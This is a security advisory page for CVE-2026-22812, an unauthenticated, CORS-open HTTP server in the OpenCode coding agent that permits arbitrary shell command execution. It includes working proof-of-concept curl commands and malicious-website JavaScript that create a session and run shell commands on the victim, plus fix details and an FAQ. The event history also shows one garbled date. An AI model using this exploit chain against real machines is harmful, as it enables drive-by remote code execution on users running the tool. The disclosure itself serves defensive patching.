CVE-2026-22812: OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution

Published Jan 12, 2026
·
Updated

Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.

Summary

OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.

Details

When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:

- POST /session/:id/shell - Execute shell commands (server.ts:1401) - POST /pty - Create interactive terminal sessions (server.ts:267) - GET /file/content?path= - Read arbitrary files (server.ts:1868)

The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().

No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: ), enabling browser-based exploitation.

PoC

Local exploitation:

bash API="http://127.0.0.1:4096" # update with actual port SESSIONID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id') curl -s -X POST "$API/session/$SESSIONID/shell" -H "Content-Type: application/json" \ -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}' cat /tmp/pwned.txt # outputs: PWNED

Browser-based exploitation:

A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.

javascript // Malicious website JavaScript fetch('http://127.0.0.1:4096/session', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}' }) .then(r => r.json()) .then(session => { fetch(http://127.0.0.1:4096/session/${session.id}/shell, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'}) }); });

Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.

Impact

Remote Code Execution via two vectors:

1. Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.

2. Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.

With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.

Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.

Other sources

OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.

MITRE

Affected Software

3 affected componentsFixes available
OpenCode OpenCode<1.0.216
npm/opencode-ai<1.0.216
1.0.216
anoma OpenCode<1.0.216

Event History

Jan 12, 2026
CVE Published
via MITRE·10:49 PM
Data Sourced
via MITRE·10:49 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
DescriptionSeverityWeaknessAffected Software
Jan 13, 2026
Advisory Published
via GitHub·08:35 PM
Data Sourced
via GitHub·08:35 PM
DescriptionSeverityWeaknessAffected Software
Apr 20, 58071
Event
via FIRST·12:26 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-22812?

CVE-2026-22812 has been classified as high severity due to its potential for unauthorized command execution.

2

How do I fix CVE-2026-22812?

To fix CVE-2026-22812, upgrade OpenCode to version 1.0.216 or later, which disables the unauthenticated HTTP server.

3

What impact does CVE-2026-22812 have on my system?

CVE-2026-22812 allows attackers to execute arbitrary shell commands, potentially compromising system integrity and security.

4

Which versions of OpenCode are affected by CVE-2026-22812?

OpenCode versions prior to 1.0.216 are affected by CVE-2026-22812 and are vulnerable to exploitation.

5

Is CVE-2026-22812 exploitable remotely?

Yes, CVE-2026-22812 can be exploited remotely due to the permissive CORS settings allowing execution from any website.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203